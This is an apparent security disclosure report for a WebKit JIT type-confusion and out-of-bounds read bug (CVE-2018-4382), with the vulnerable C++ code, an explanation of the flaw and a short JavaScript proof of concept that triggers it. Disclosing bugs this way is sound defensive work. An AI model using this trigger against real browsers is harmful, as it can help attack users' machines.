WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall CVE-2018-4382 case ArrayPushIntrinsic: { ... if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX) return false; ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write); ... } This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read. Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern. PoC: Array.prototype.__defineGetter__('a', Array.prototype.push); function opt() { let arr = new Array(1, 2, 3, 4); arr['a' + '']; } for (let i = 0; i < 1000; i++) { opt(); } This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt